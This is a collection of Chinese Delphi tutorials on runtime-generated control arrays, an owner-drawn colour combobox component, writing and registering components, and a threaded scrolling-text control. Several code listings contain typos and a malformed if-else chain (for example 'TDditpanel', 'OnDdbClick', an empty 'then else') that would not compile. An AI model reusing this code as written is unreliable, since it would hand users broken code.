type
procedure
DBEDIT_C(SENDER:TOBJECT);
procedure
DBEDIT_C1(SENDER:TOBJECT);
function
getitems(remaining,stritems:string):string;
function
GridCard(query2:tquery;datasource1:
Tdatasource;position:twincontrol;
wid:integer;
var dbla_ed:array of
Tdbeditpanel):integer;
end;
type
LA_ED = array [1..50]
of  TDBEditpanel;
var
form1: Tform1;
DBLA_ED:LA_ED;

implementation
function
GridCard(query2:tquery;datasource1:
Tdatasource;position:twincontrol;wid:integer;var
dbla_ed:array of Tdbeditpanel):integer;
var
i,BU_LEFT,BU_TOP:INTEGER;
begin
BU_LEFT:=10;
BU_TOP:=10;
dbgrid1.columns.Clear;
for
i:=0 to query2.RecordCount-1 do
begin
dbgrid1.Columns.Add;
dbgrid1.Columns[i].title.Caption:=query2['DD03'];
dbgrid1.Columns[i].title.Alignment:=tacenter;
dbgrid1.Columns[i].fieldname:=query2['DD02'];
DBLA_ED[I+1]:=TDditpanel.create(self);
DBLA_ED[I+1].FDdbedit.DataSource:=DataSource1;
DBLA_ED[I+1].FDbedit.DataField:=query2['DD02'];
DBGrid1.OnDdbClick:=
dbedit_c;
DBLA_ED[I+1].FDbedit.OnDblClick:=dbedit_c1;
with
DbLA_ED[I+1] do
begin
font.name:='宋体';
font.size:=9;
caption:=query2['DD03'];
FDBedit.width:=6*query2['DD06']+12;
FDBedit.readonly:=false;
width:=7*length(trim(caption))+FDBEdit.width+12;
LEFT:=BU_LEFT; parent:=position;
if ((BU_LEFT +
Width)  >wid) then
begin
//利用控件数组进行寻址，按自己的要求把新
产生的数据处理控件排列好，卡片生成完毕。
end;
BU_LEFT:=BU_LEFT+Width;
Top:=BU_TOP;
end;
query2.Next;
end;
result:=query2.recordcount;
end;
procedure
DBEDIT_C(SENDER:TOBJECT);
var
HF1:string;
begin
HF1:=(Sender
AS TDBGrid).selectedfield.fieldname;
if (HF1='字段1')
then
begin
ZCAE.showmodal;
//ZCAE为处理“字段1”的窗体
if ZCAE.ModalResult=idOk
then
begin
with Query1
do
begin
if(state<  >dsedit)and(state<  >dsinsert)
then
Edit;
fieldvalues['字段1']:=ZCAE_HZ;//其中ZCAE_HZ为ZCAE的返回值
end;
end;
end;
procedure
Tform.DBEDIT_C1(SENDER:TOBJECT);
begin
if  (Sender AS
TDBedit).DataField = '字段1' then
begin
ZCAE.showmodal;
with query1 do
begin
if(state<  >dsedit)and(state<
>dsinsert) then
Edit;
fieldvalues['字段1']:=ZCAE_HZ;
end;
end;
end;

function Tform.getitems(remaining,stritems:string):string;
begin
dual.ss:=stritems; //DUAL为字段选择窗体
dual.available:=remaining;
dual.ShowModal;
if dual.ModalResult=idOk then
result:=dual.ss
else
result:='idCancel';
end;
procedure Tform1.FormCreate(Sender: TObject);//
窗体产生时自动产生网格及卡片
begin
bt1:='数据表标识符';
with query2 do
begin
......
sql.Text:='select DD02,DD03,DD06 from Z_DD
where (DD01 like '''+bt1+'%'' and DD09 =''Y'')';
......
end;
hh:=GridCard(query2,datasource1,tabsheet2,662,dbla_ed);
......
end;
procedure Tform1.Button1Click(Sender: TObject);
//选择字段并重新生成网格和卡片过程
var
strsql, s1, remaining, usingItems:string;
i,posi:integer;
begin
with query2 do
begin
......
while not eof do
begin
用正在处理的字段的中文名构成
一个使用字段字符串放于usingitems中，供下一步字段选择用；
end;
end;
//以下将所处理数据表中现未被处理的字段构
成一个保留字段字符串，放于remaining中，
供下一不字段选择用；
with query3 do
begin
//选出当前表中可以进行处理但没有选的字段选出
end;
remaining:='';
while not query3.EOF do
begin
构造字符串remaining；
end;
s1:=getitems(remaining,usingitems);
//调用字段选择函数选择相应字段
for i:=1 to hh+1 do
dbla_ed[i].free;
hh:=gridcard(query2,datasource1,tabsheet2,662,dbla_ed);
......
end;
end.

---- 应 用 中 首 先 需 要 注 意 的 问 题 是： 不 要 把 控 件 的 属 性Owner 和Parent 搞 混 淆 了。Owner 属 性 决 定 控 件 的 存 储 和 存 在， 从TComponent 类 继 承 而 来， 在 一 个 控 件 的 实 例 产 生 时 就 要 指 定， 如 果 控 件 的Owner 被 释 放 掉（ 所 占 内 存 被 释 放）， 该 控 件 也 就 不 存 在 了。Parent 属 性 决 定 的 是 控 件 的 显 示 窗 口， 继 承 于TControl 类， 该 属 性 在 程 序 中 多 处 使 用 同 一 个 控 件 时 特 别 有 用。 例 如， 想 在 多 页 控 制 中 使 用 同 一 个 状 态 条， 就 可 根 据 当 前 哪 页 处 于 活 动 状 态， 将 其 指 定 为 所 用 状 态 条 的Parent（ 如：Statusbar1.parent:=PageControl1.ActivePage）， 就 可 实 现 共 用 一 个 状 态 条 的 目 的。

---- 在 使 用 控 件 数 组 时 可 能 要 涉 及 到 在 程 序 运 行 过 程 中 为 某 一 控 件 指 定 事 件 处 理 过 程， 方 法 是 把 相 应 的 事 件 处 理 句 柄 指 定 为 某 一 已 定 义 的 过 程， 例 如： 要 让 过 程Click1(Sender:Tobject) 处 理 按 钮Button1 的 单 击 事 件， 就 须 使：Button1.Onclick:=Click1; 如 果 数 据 编 辑 框DBEdit1 的 双 击 事 件 也 要 由 同 一 个 过 程 进 行 处 理， 则 须 把DBEdit1 的 事 件 处 理 句 柄 指 定 为Click1, 即DBEdit1.OnDbClick:=Click1。

四. 结 束 语
---- 实 时 动 态 生 成 控 件 增 强 了 程 序 的 灵 活 性； 控 件 数 组 的 使 用 避 免 了 编 写 大 量 重 复 代 码， 减 少 了 程 序 出 错 率。
---- 数 据 字 典 的 使 用 使 程 序 可 重 用 性 大 大 增 强， 提 高 了 代 码 的 重 用 性， 使 开 发 通 用 应 用 程 序 变 得 更 加 方 便 快 捷。

---- Delphi 是 一 种 完 全 面 向 对 象 的 可 视 化 开 发 工 具， 具 有 很 强 的 灵 活 性， 对 于 开 发 需 求 变 化 较 多、 界 面 复 杂 多 变 的MIS 系 统 有 很 大 的 优 势。 如 能 灵 活 应 用 其 面 向 对 象 机 制， 可 以 大 大 简 化 编 程， 并 使 应 用 系 统 具 有 更 大 的 用 户 友 好 性。

---- MIS 系 统 开 发 主 要 有 两 种 不 同 的 方 法： 面 向 数 据 的 方 法 和 面 向 过 程 的 方 法。 用 第 二 种 方 法 开 发 出 的 应 用 系 统， 一 般 在 使 用 的 初 始 阶 段 能 够 较 好 地 满 足 应 用 的 需 要， 获 得 较 好 的 性 能， 随 着 应 用 的 发 展 变 化， 要 进 行 较 大 的 改 动 和 维 护。 用 第 一 种 方 法 开 发 出 的 系 统 能 够 比 较 合 理、 自 然 地 模 拟 一 个 单 位。 一 般 说 来， 一 个 单 位 的 数 据 总 是 相 对 稳 定 的， 而 处 理 则 是 变 动 的， 因 此 用 第 一 种 方 法 开 发 的 系 统 也 就 相 对 稳 定， 本 文 介 绍 的 方 法 虽 然 适 用 于 以 上 两 种 方 法， 但 应 用 于 第 二 种 将 更 有 效。


实现自定义颜色对话框及其构件

太 原 理 工 大 学 电 机 系 胡 晓 鹰
武 汉 水 利 电 力 大 学 计 算 中 心 陈 谦
---- 在 开 发 证 券 分 析 软 件 中， 经 常 要 绘 制 各 种 股 票 的 分 析 曲 线。 为 了 使 得 软
件 的 功 能 更 加 方 便. 灵 活， 用 户 希 望 能 够 按 照 自 己 的 喜 好 自 定 义 各 种 曲 线 的
颜 色。 在 Ｗ Ｏ Ｒ Ｄ97 的[ 格 式] 菜 单 下 的 字 体 对 话 框 中 有 类 似 的 功 能。 当 用 户
单 击 字 体 对 话 框 中 的 颜 色 下 拉 框 时， 各 种 颜 色 的 简 单 图 案 和 字 体 的 颜 色 名
称 一 起 显 示 出 来， 这 样 处 理 的 结 果 显 然 比 只 提 供 一 个 装 有 颜 色 名 称 的 下 拉
框 效 果 要 好 的 多。

---- 一、 自 定 义 颜 色 对 话 框 的 实 现

---- 在Delphi 中， 我 们 可 以 使 用TComboBox 实 现 类 似 的 功 能。 在TcomboBox 构 件 中 有 一
个Style 属 性, 决 定TcomboBox 的 显 示 属 性。 通 常 可 选 取csDropDown, csSimple, csDropDownList,
csOwnerDrawFixed, csOwnerDrawVariable 等。 其 中 当 选 取csOwnerDrawFixed 时 表 示 创 建 一 个 自
画 下 拉 框， 下 拉 框 的 每 一 项 的 高 度 由ItemHeight 属 性 决 定。 并 且 必 须 在TcomboBox
的OnDrawItem 事 件 中 响 应 自 画 过 程。 OnDrawItem 的 定 义 为:

property OnDrawItem: TDrawItemEvent;
TDrawItemEvent = procedure
(Control: TWinControl; Index: Integer Rect:
TRect; State: TOwnerDrawState) of object;
其 中 的 三 个 参 数 的 含 义 为：
Control: 　 包 含 下 拉 框 的TComboBox
Index: 自 画 的 下 拉 框 在
TComboBox 的Items 属 性 中 的 索 引 号
Rect: 自 画 的 位 置
---- 因 此， 知 道 了 需 要 自 画 的 矩 形 的 位 置（Rect 参 数） 和 在TComboBox 中 的 索 引 号
（Index 参 数）， 我 们 可 以 使 用TcomboBox 的Canvas 属 性 在 其 画 布 上 自 画。

---- 具 体 的 实 现 过 程 如 下：

---- 1 ． 新 建 一 个 工 程 文 件， 设 置 其 默 认 窗 体 的 有 关 属 性 为：

---- Caption 自 定 义 下 拉 框

---- Name Form1

---- Position poScreenCenter

---- 2 ． 在 窗 体 中 放 置 两 个TcomboBox 构 件， 设 置 其 属 性 如 下：

---- Name Style ItemHeight OnDrawItem

---- ColorCombo1 csOwnerDrawFixed 20 ColorComboDrawItem

---- ColorCombo2 csOwnerDrawFixed 30 ColorComboDrawItem

---- 3 ． 双 击ColorCombo1 和ColorCombo2 的Items 属 性 旁 的 圆 点 按 纽， 在"String List Editor" 对 话 框
中 输 入

---- 黑 色

---- 蓝 色

---- 蓝 绿

---- 鲜 绿

---- 红 色

---- 黄 色

---- 等 各 种 颜 色 的 名 称

---- 4 ． 在ColorCombo1 的OnDrawItem 事 件 中 加 入 如 下 代 码

procedure TForm1.ColorComboDrawItem
(Control: TWinControl; Index: Integer;
Rect: TRect; State: OwnerDrawState);
var
TempColor :TColor; // 自 画 颜 色
TempBrushColor :TColor; // 临 时 颜 色
begin
with (Control as TComboBox) do
// 在Combo 的Canvas 上 自 画
begin
TempBrushColor:=Canvas.Brush.Color;
// 保 存 原 来 的 的 颜 色
Canvas.FillRect(Rect);
case Index of // 根 据Index 的 不 同，
定 义 不 同 自 画 的 颜 色
0: // 黑 色
TempColor:=clBlack;
1: // 蓝 色
TempColor:=clBlue;
2: // 蓝 绿
TempColor:=clAqua;
3: // 鲜 绿
TempColor:=clLime;
4： // 红 色
TempColor:=clRed;
5: // 黄 色
                                         TempColor:=clyellow;
// 可 以 在 此 加 入 对 其 它 颜 色 的 响 应
end;

Canvas.Brush.Color:=TempColor;
// 自 画 颜 色 矩 形
Canvas.Rectangle(Rect.Left+4,
Rect.Top+1,
(Rect.Right+Rect.Left) div 3,
Rect.Bottom-1);
Canvas.Brush.Color:=TempBrushColor;
// 显 示 与 颜 色 对 应 的 字 符 串
Canvas.TextOut((Rect.Left+Rect.Right) div 2,
Rect.Top+1,
Items[Index]);
end;
end;
---- 5 ． 保 存， 运 行 文 件， 我 们 可 以 看 到 和 Ｗ Ｏ Ｒ Ｄ 中 颜 色 下 拉 框 相 同 的 效 果
---- 有 兴 趣 的 读 者， 可 以 在 文 中 所 示 的 位 置 加 入 对 其 它 颜 色 处 理。

---- 以 上 程 序 在Delphi 3.0，4.0 上 通 过。

---- 二、 自 定 义 颜 色 对 话 框 构 件 的 编 写

---- 对 许 多Delphi 程 序 员 来 说， 如 何 编 写 自 己 的Delphi 构 件 还 是 比 较 陌 生 的， Delphi
构 件 实 际 上 是 从Tcomponent 类 继 承 发 展 而 来， 编 写 构 件 实 际 就 是 编 写 特 殊 的
类。 下 面 我 们 就 以 自 定 义 颜 色 对 话 框 为 例 介 绍 构 件 的 编 写。

---- 下 面TColorComboBox 是 从TcomboBox 类 继 承 来 的， 当 点 击 右 边 的 下 拉 箭 头 时 弹 出
和 下 拉items 对 应 的 各 种 颜 色 自 画 框。

---- 1. 选 中Component 菜 单 项 中 的New Component 选 项。 在Ancestor Type 框 中 选TcomboBox, 在Class
Name 框 中 填 入TColorComboBox, 在Palette Page 框 中 选Samples, 在Unit File Name 框 中 填 入
ColorComboBox.pas, 然 后 点 击OK 按 钮。

---- 2. 选 中Component 菜 单 项 中 的Install Component 选 项, 点 击Into new package, 在package name 框 中 写
入 路 径 和ColorComboDpk.dpk， 点 击ok, 生 成ColorComboDpk.bpl 文 件。

---- 3. 使 用Tools 菜 单 中 的Image Editor 来 创 建 编 辑 文 件ColorComBox.dcr, 为TColorComboBox 类 建
立 位 图。

---- 4. 在Create 中 加 入 对 字 体 大 小 高 度 的 规 定 及 对 控 件 的Style 属 性( 设 成
csOwnerDrawFixed) 的 规 定， 在Create 后 执 行 的CreateWnd 中 初 始 化 颜 色 的items, 如 果 不 需 要
那 么 多 颜 色 项， 可 以 以 后 在 生 成 控 件 的items 属 性 中 直 接 删 除 不 需 要 的 颜 色。

---- 5. 在DrawItem 事 件 中 加 入 颜 色 自 画 程 序， 此 事 件 在On DrawItem 之 前 发 生。

---- 实 现 程 序 如 下：

unit ColorComboBox;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TColorComboBox = class(TComboBox)
private
{ Private declarations }
FOnDrawItem : TDrawItemEvent;
procedure DrawItem(Index: Integer; Rect: TRect;
State: TOwnerDrawState);override;
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner : TComponent);override;
procedure CreateWnd;override;
published
{ Published declarations }
property OnDrawItem : TDrawItemEvent
Read FOnDrawItem write FOnDrawItem;
end;
procedure Register;

implementation

procedure Register; // 注 册 构 件
begin
RegisterComponents('Samples', [TColorComboBox]);
end;

constructor TColorComboBox.Create
(AOwner : TComponent); // 构 件 的 初 始 化
begin
inherited Create(AOwner);
Style := csOwnerDrawFixed; // 构 件 的 初 始 类 型
ItemHeight := 20;
Font.Size := 10;
end;

procedure TColorComboBox.CreateWnd;
// 颜 色 构 件 的Items 属 性 初 始 化
begin
inherited CreateWnd;
Items.Clear;
Items.Add(' 黑 色');
Items.Add(' 蓝 色');
Items.Add(' 蓝 绿');
Items.Add(' 鲜 绿');
Items.Add(' 粉 红');
Items.Add(' 红 色');
Items.Add(' 黄 色');
Items.Add(' 白 色');
Items.Add(' 深 蓝');
Items.Add(' 青 色');
Items.Add(' 绿 色');
Items.Add(' 紫 色');
Items.Add(' 深 红');
Items.Add(' 深 黄');
Items.Add(' 深 灰');
Items.Add(' 银 色');
---- // 若 不 需 要 这 么 多 颜 色 可 在 构 件 的items 属 性 中 删 除 不 需 要 的 颜 色

---- end;

---- // 重 载DrawItem 过 程

procedure TColorComboBox.DrawItem
(Index: Integer; Rect: TRect;
State: TOwnerDrawState);
var
TempColor :TColor; // 自 画 颜 色
TempBrushColor :TColor; // 临 时 颜 色
begin // 本 构 件 的 默 认 自 画 设 置
TempBrushColor:=Canvas.Brush.Color;
// 保 存 原 来 的 的 颜 色
Canvas.FillRect(Rect);

if Items[index]=' 黑 色' then
TempColor := clBlack
else if Items[index]=' 蓝 色' then
TempColor := clBlue
else if Items[index]=' 蓝 绿' then
TempColor := clAqua
else if Items[index]=' 鲜 绿' then
TempColor := clLime
else if Items[index]=' 粉 红' then
TempColor := clFuchsia
else if Items[index]=' 红 色' then
TempColor := clRed
else if Items[index]=' 黄 色' then
TempColor := clYellow
else if Items[index]=' 白 色' then
TempColor := clWhite
else if Items[index]=' 深 蓝' then
TempColor := clNavy
else if Items[index]=' 青 色' then
TempColor := clTeal
else if Items[index]=' 绿 色' then
TempColor := clGreen
else if Items[index]=' 紫 色' then
TempColor := clPurple
else if Items[index]=' 深 红' then
TempColor := clMaroon
else if Items[index]=' 深 黄' then
TempColor := clOlive
else if Items[index]= ' 深 灰' then
TempColor := clGray
else if Items[index]=' 银 色' then
else TempColor := clSilver;

Canvas.Brush.Color:=TempColor;
// 自 画 颜 色 矩 形
Canvas.Rectangle(Rect.Left+4,
Rect.Top+1,
(Rect.Right+Rect.Left) div 3,
Rect.Bottom-1);
Canvas.Brush.Color:=TempBrushColor;
// 显 示 与 颜 色 对 应 的 字 符 串
Canvas.TextOut((Rect.Left+Rect.Right) div 2,
Rect.Top+1,
Items[Index]);
end;
end.
---- 此 控 件 可 以 在 所 有 需 要 颜 色 选 项 的 程 序 中 使 用 而 且 非 常 方 便 和 美 观， 并
且 使 编 程 节 省 很 多 时 间， 增 加 了 程 序 可 靠 性 和 可 读 性。

---- 三、 自 定 义 颜 色 对 话 框 构 件 的 使 用

---- 当 注 册 完 自 定 义 颜 色 构 件 后， 可 以 从Delphi 构 件 模 板 的Sample 页 中 选 择 自 定 义
颜 色 构 件, 和 使 用Delphi 本 身 构 件 没 有 区 别。


构件制作方法

Delphi作为RAD工具，以其快速编译和友好的可视化界面受
到广泛欢迎。Delphi提供了很多现成构件，而且随着版本更新不
断增加新构件。另外还可以买到第三方开发的特色构件，或从因特
网下载免费构件。这些构件足以支持一般应用系统开发。但应用开
发人员仍有必要自己制作构件。
采用构件形式可以把对象严密封装，并加上一层直观外壳，有
利于软件调试和代码重用。开发群体以构件为功能单位分工协作，
比较容易实现工程化管理，从软件规划设计到测试修改都可以减少
意外差错，大大提高工作效率。成熟的构件还可以作为商品软件出

售，带来附加效益，且有利于软件开发的社会化分工协作。Delphi
的构件使用和构件制作采用同样的工作环境和相似的编程方法，只
要弄清基本原理，制作构件无需学习多少新东西。

基本概念
制作构件的基本过程可以概括为：
1．编写构件单元（unit）。其中包含构件声明和构件实现代码。
2．按照与普通Delphi单元同样的方法编译和调试构件单元。
3．创建构件注册单元。其中用uses语句连接构件单元，并用
Register过程完成构件的注册。
4．编写构件联机帮助信息，并编译成标准Windows帮助文件。
全部工作完成后，生成构件单元二进制文件（．DCU）、构件注

册源文件（．PAS）和帮助信息文件（．HLP）及附加的关键词文件
（．KWF）。用户拿到这些文件后，就可以安装使用了。在Delphi
环境下调用菜单命令，启动安装过程（安装过程中需指定注册文件
名），可以把构件注册到Delphi的VCL库中，并在构件工具条上生
成一个新按钮。借助HelpInst安装工具可以把关键词文件并入
Dephi帮助索引系统，用F1键实现联机帮助。
这样制作出的．DCU文件与一般Delphi单元没有根本区别，
即使不安装到VCL库中也可以由其他单元直接调用。最大的区别在
于：构件单元中某些属性和事件声明为published，从而在程序设

计期对用户是可见的，用户可以通过对象编辑窗口
（ObjectInspector）访问这些属性和事件。这是可视化程序设计
的关键所在。

对象的继承与修改
制作构件第一件事就是选择适当的Delphi对象类型作为父对
象，以派生新的对象。子对象可以继承父对象的全部非private部
件，但不能摆脱不需要的部件。因此，所选父对象应尽可能多地包
含子对象所需的属性、事件和方法，但不应包含子对象不需要的东
西。
TComponent是所有Delphi构件的基点，但若直接从TComponent
派生新构件，很多东西就需要自己从头做起。一般只有非可视构件

才直接从TComponent派生。Delphi提供了若干专门用于制作控件
（可视构件）的对象类型，都是从TControl和TWinControl派生
而来。其派生关系如下：
TControl－－－TGraphicControl－－－TCustomLabel
TWinControl－－TCustomControl－－－TCustomGrid
－－－TButtonControl－－TCustomGroupBox
－－－TScrollingWinControl－－TCustomPanel
－－－TCustomComboBox
－－－TCustomEdit
－－－TCustomListBox
TControl的子类型用于非窗口式控件，TWinControl的子类型
则用于窗口式控件。除非特殊需要，一般不直接从TControl和

TWinControl派生新控件，而是从其子类型派生。这样可以充分利
用原有的属性、事件和方法，减少很多工作量。
在这些构件类型中，非通用的属性、事件和方法都声明为
protected。这样可以禁止构件用户访问，又能被子类型继承和修
改。在新构件中，可以简单地把继承来的属性和事件重新声明为
published，使构件用户能在设计期通过对象编辑窗口访问，也可
以进而修改属性的默认值和读写方式，或是重载（override）事件
处理子过程和其他构件方法，以修改其中的程序代码。重声明可以
放宽访问权限，但不能 相反，例如，不可能把published属性

重声明为private或protected。
为了增加新功能，常常需要定义全新的属性、事件和方法。定
义时，一般总是把对用户开放的属性和事件声明为published，把
方法声明为public或protected。

构件属性
在构件中，属性和方法往往可以相互替代。对构件用户来说，
属性比方法更直观简便。因此，只要可能，应尽量以属性取代方法。
属性类型包括简单类型（numeric，character，string）、枚
举类型、集合类型、对象类型（例如font）和数组类型（例如TStrings
类型中的Strings）。其定义方法如下：
type

private
FLayers：Integer；｛内部存储用的变量｝
functionGetLayers：Integer；｛用来读属性值的方法｝
procedureSetLayers（ALayers：Integer）；｛用来写属性值的
方法｝
published
propertyLayers：
IntegerreadGetLayerswriteSetLayersdefault1；
end；
每个属性都需要相应的private变量用于内部存储。按照约
定，变量名以F打头，后跟属性名（此处为Layers），读写方法名
称分别为Get加属性名和Set加属性名。写方法总是带一个与属性
类型相同的参数，用以传送属性值。此参数可以传值，也可以传递
变量。如果不定义写方法（省略write部分），此属性便成为只读

属性。读写方法应该在private部分声明，以使其对构件用户
和构件的派生对象保持隐蔽。
读写方法除了取值和赋值之外，还可以附加其他操作代码，使
属性读写产生附加效应。这正是属性可以取代方法的原因。如果不
需要附加效应，可以不定义读写方法，采用直接访问格式来声明属
性：
propertyLayers：
IntegerreadFLayerswriteFLayersdefault1；
default命令符用来指定属性的默认值，同时需要在构件的构
造函数中为属性设置初值。default命令的作用是在窗体文件存盘
时提供参照：若属性当前值与default命令指定的值不同，则把当

前值保存在文件中，否则便无需保存。如果省略default命令，属
性当前值总是保存在窗体文件中。

事件与事件处理过程
创建构件时，事件也被当做属性来处理，区别仅在于事件必须
定义为过程类型，使其成为一个隐蔽指针，指向某个潜在的过程。
当构件用户为事件指定处理子程序后，事件便成为指向该子程序的
指针。事件的定义方式如下：
type
private
FOnClick：TNotifyEvent；｛声明事件变量以保存过程指针｝
published
propertyOnClick：
TNotifyEventreadFOnClickwriteFOnClick；
end；
此例正是Delphi标准控件中Click事件的定义方式。可以看

出，除了OnClick被定义为过程类型外，其定义格式与一般属性的
直接访问格式几乎完全相同。Delphi预定义了所有标准事件的过
程类型及标准事件所引发的虚方法。其中，Click事件将引发如下
虚方法：
procedureTControl．Click；
begin
ifAssigned（OnClick）thenOnClick（Self）；
｛以下是默认处理部分｝
end；
其中，Assigned函数检验OnClick是否已分配了事件处理过
程。如果返回值为True，则调用用户指定的事件处理过程。通过
重载此虚方法，可以修改Click事件的处理方式。在重载的方法中，
一般应先调用用户处理程序，然后再安排后续处理。在本例中，首

行代码应当是inheritedClick。
需要注意的是，构件用户不一定会给事件指定处理程序，因此
事件不能定义为函数类型，否则可能会指向返回值类型不定的空函
数。如果需要事件处理过程返回某个值，可以借助var参数。调用
用户程序之前应确保此参数包含有效返回值，以免用户未指定事件
处理过程时出错。
如果Delphi标准事件不能满足需要，也可以自己定义事件。
其核心思想是选择适当的Windows消息来引发构件中的事件过程。
篇幅所限，不拟详述，请读者参阅有关资料。

方法处理要点
方法处理在创建构件时和使用构件时没有多大区别，但有些问

题仍需要注意。
首先要注意的是，构件通常是在事件处理过程中调用，而构件
作者又无法预测用户将在什么环境下如何调用构件。因此，构件中
的方法应尽量避免占用系统资源，避免使Windows停止对用户操作
的反应。
创建构件时应随时意识到，此构件不仅可以直接调用，而且可
用来创建别的构件。即使是对用户隐蔽的方法也应具有完整的功能
和清晰的接口。除了属性读写方法之外，内部方法一般应声明为
protected虚方法，以便被派生对象继承和重载。属性读写方法则
应采用private声明严密保护。派生对象如果需要读写父对象的属

性值，应该访问属性本身，没有必要直接访问其读写方法。

构件测试
制作构件的核心工作是编写构件单元，包括根据构件功能要求
设定对用户开放的属性、事件和方法，设定用以实现这些部件的变
量、过程和函数等等。除了属性和事件有 特殊格式之外，构件
单元的设计方式与一般Delphi单元没有什么不同，只是单元中不
能包含窗体。
在编写构件单元的过程中，可以借助一个测试窗体直接对其测
试。以可视化方法在窗体上安排构件，本质上不过是自动生成调用
构件的代码。即使构件未并入VCL库，无法使用可视化操作，也可

以手工编写这些调用代码。这样测试，可以免去反复修改而导致的
反复安装。
测试时，需先建立一个窗体单元，然后进行以下操作：
1．把被测构件单元名称加入窗体单元的uses语句中，并在
public部分声明被测构件的对象实例。
2．在窗体单元的FormCreate子程序中调用被测构件的Create
方法，以构造构件实例，其Owner参数设置为Self，即窗体本身。
然后给Parent属性赋值，并适当设置其他属性值。Parent是容纳
构件的父对象，如果是窗体本身，应设置为Self。
3．运行包含测试窗体的工程，找出构件程序中的错误。

注册构件
注册构件用的程序代码可以放在构件单元中，但在Delphi下
注册构件时要求提供包含注册代码的源程序文件（．PAS文件），
因此，比较好的方式是把构件核心代码编译成．DCU文件或．DLL
动态链接库，在注册源文件中只放注册代码和外围程序。下面是注
册代码实例：
type
TMyPanelΚclass（TCustomPanel）
TMyLabelΚclass（TCustomLabel）
procedureRegister；
implementation
procedureRegister；
begin
RegisterComponents（′Samples′，［TMyPanel，TMyLabel］）；
end；
注册过程名必须是Register。过程体中调用Register
Compnents，其中的两个参数分别指定Delphi构件工具条页名和要

注册的构件类型。如果指定页不存在，Delphi将创建一个新页。
Delphi环境提供了一个构件生成器（componentexpert），
可用来自动生成注册单元。
构件工具条上每个构件需要一个24×24点阵bitmap图标。图
标可以借助Delphi的ImageEditor编辑生成，以．DCR资源文件
的形式提供给构件用户，文件与注册单元文件相同。如果不提供此
文件，Delphi将采用默认图标。

提供联机帮助
一个成熟的构件，无论是用于开发群体还是用做商品软件，都
要有联机帮助信息才能正常使用。Delphi的帮助信息与Windows

一般帮助信息结构基本上相同，其编写方法可参见有关资料。但
Delphi包含一个特殊的帮助搜索引擎，能跨越多个帮助文件搜索
关键词。因此，在构件帮助文件中不仅要有普通K型关键词脚注，
还要包含Delphi所用的B型关键词脚注。脚注内容有如下约定：
在Delphi的对象编辑窗口和代码编辑窗口中，用F1键可以引
发帮助搜索引擎，通过B型关键词调出有关帮助主题。为了实现这
种帮助机制，需借助KeywordGenerate程序来生成关键词文件
（．KWF），与帮助信息文件（．HLP）一起交给构件用户。用户借
助HelpInst程序把关键词文件内容并入Delphi主帮助索引文件

（．HDX）中。
构件联机帮助信息应当与Delphi标准构件帮助信息格式相
同。编写帮助文件时最好遵循如下约定：
1．每个构件有一个单独的帮助主题（Topic），内容包含构件
简介及用户可见的属性、事件和方法列表。
2．新增的及修改较大的属性、事件和方法均应有单独的帮助
主题，其中应包含所属构件、用途、声明格式等内容。
3．每个帮助主题都应包含K型脚注，以便用F1键引发。


动态显示的控件

---- Delphi以其优秀的界面和简单的用法深受广大程序员的喜爱.笔者经过摸索,自做了一个具有动态显示特性的控件。只需在主程序中调用该控件的一个方法即可实现动态显示。在动态显示的同时,为了不影响主程序做其他的事情,笔者采用了比较流行的线程技术。

---- 一． 方案

---- 自做一个父类为TEdit的控件,应该有一个Text属性，能自由地输入要动态显示的内容; 并且有一个MoveShow方法，使的Text的内容能动态的显示。在主程序中创建一个线程，启动线程时，调用该控件的MoveShow方法。

---- 二． 制作控件

---- 启动New Component,选Tedit为父类，建立L_Tedit1类，并创建L_edit.pas. 再编写L_edit.pas 如下：

unit L_Edit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs,
StdCtrls;

type
L_TEdit1 = class(TEdit)
private
{ Private declarations }
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner:TComponent); override;
procedure MoveShow;
published
{ Published declarations }
property Text;
end;

procedure Register;

implementation
constructor
L_TEdit1.Create(AOwner:TComponent);
begin
inherited
create(aowner);
color:=clblue;
font.Color:=clyellow;
font.Size:=12;
font.Name:=
'@仿宋_GB2312';
tabstop:=false;
update;
end;

procedure L_TEdit1.MoveShow;
var
edit_length,i:integer;
edit_char:char;
chars: string;
begin
chars:='';
if (length(text)=0) then
text:=’Welcom you to use the software!’;
edit_length:=length(text);
for i:=1 to edit_length do
begin
edit_char:=text[1];
if (Ord(edit_char) >127) then
if length(chars) >1 then
begin
text:=copy(text,2,edit_length-2)+chars;
chars:='';
end
else
begin
chars:=copy(text,1,2);
text:=copy(text,2,edit_length-1);
end
else
begin
text:=copy(text,2,edit_length-1)+edit_char;
end;
update;
sleep(100);
end;
end;

procedure Register;
begin
RegisterComponents('Samples', [L_TEdit1]);
end;

end.
再保存该文件。
---- 启动Image Editor 创建L_Edit.dcr , 选New- >Bitmap，自己做一个图标，保存名为L_TEDIT1(与新建的类同名)。注意L_Edit.dcr 与L_Edit.pas 要在同一个目录中（缺省为\delphi\lib目录中。再单击Install Component. 选Into new package属性页，填上L_Edit.pas 的路径和文件名，并在该路径下新建L_Edit1.dpk 文件。之后一直单击OK即可。此时我们可以在Delphi 的工具栏Sample 一项中看到自己创建的图标。

---- 三． 编写主程序

---- 在主窗体Form1中放一自己创建的控件，在Text的属性中填上要显示的文字（中英文都可）。与该窗体对应的L_unit1.pas内容如下：

unit L_Unit1;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls, L_Edit;

type
Tmythread=class(TThread)
protected
procedure Execute; override;
end;
TForm1 = class(TForm)
L_TEdit11: L_TEdit1;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
MyThread1:TMyThread;
implementation

{$R *.DFM}
Procedure TMyThread.Execute;
begin
while true do form1.L_TEdit11.MoveShow;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
MyThread1:=TMyThread.Create(false);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage('Welcome You!');
end;

end.


构件撰写常问问题

目次

第一部分 简介

1.1 此份文档的目的为何？

第二部份 整合环境

2.1 在整合环境中如何找出构件所产生的问题？

2.2 如何检视Delphi所产生的汇编码？

2.3 我可以在运行时刻动态建立构件，但在设计时刻就会发生错误。为什麽？

2.4 如何撰写一个无法放置到表格上的构件？

